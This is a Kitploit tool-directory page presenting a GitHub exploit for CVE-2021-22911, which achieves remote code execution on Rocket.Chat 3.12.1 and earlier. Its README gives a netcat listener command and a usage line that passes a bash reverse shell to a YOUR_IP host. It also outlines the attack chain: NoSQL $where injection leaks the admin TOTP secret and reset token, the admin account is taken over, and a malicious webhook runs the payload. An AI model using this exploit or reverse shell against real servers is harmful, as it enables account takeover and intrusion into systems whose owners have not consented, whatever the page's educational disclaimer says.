Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-22911-RocketChat — Exploit for Rocket.Chat 3.12.1 RCE via pre-auth NoSQL injection, leaking admin TOTP secret and password reset token to achieve remote code execution through malicious webhook integration. | Kitploit
Tools/GitHubGitHub/faridi-m/cve-2021-22911-rocketchat
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubfaridi-m/cve-2021-22911-rocketchat

CVE-2021-22911-RocketChat

Exploit for Rocket.Chat 3.12.1 RCE via pre-auth NoSQL injection, leaking admin TOTP secret and password reset token to achieve remote code execution through malicious webhook integration.

View Repository
2208 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    371
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    336
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    322

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-22911 — Rocket.Chat 3.12.1 RCE (Improvised)

Description

Exploits a pre-auth NoSQL injection vulnerability in Rocket.Chat 3.12.1 to leak the admin's TOTP secret and password reset token, take over the admin account, and achieve RCE via a malicious webhook integration.

Affected Version

Rocket.Chat <= 3.12.1

Requirements

pip install -r requirements.txt

Setup - Start a Listener First

Before running the exploit, start a netcat listener in a separate terminal to catch the incoming reverse shell:

nc -lvnp 4444

Keep this terminal open. Once the exploit runs successfully, your shell will appear here.

Usage

python3 pwn_rocketchat.py \
  -t 'http://TARGET:3000' \
  -u 'USERNAME' \
  -p 'PASSWORD' \
  -e '[email protected]' \
  -a 'adminusername' \
  -c '/bin/bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'

Arguments

FlagDescription
-tTarget Rocket.Chat URL
-uYour registered low-priv username
-pYour registered low-priv password
-eAdmin email address
-aAdmin username
-cReverse shell command
-vVerbose mode (shows raw responses)

How it Works

  1. Authenticates as low-privilege user via DDP protocol
  2. Leaks admin TOTP secret via NoSQL $where injection
  3. Triggers admin password reset email
  4. Leaks admin password reset token via NoSQL $where injection
  5. Resets admin password bypassing 2FA using leaked TOTP secret
  6. Creates malicious webhook integration and triggers RCE

Disclaimer

This tool is for educational purposes and authorized penetration testing only. The author is not responsible for any misuse or damage caused by this tool. Always obtain proper written authorization before testing.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2021-22911
Download Tool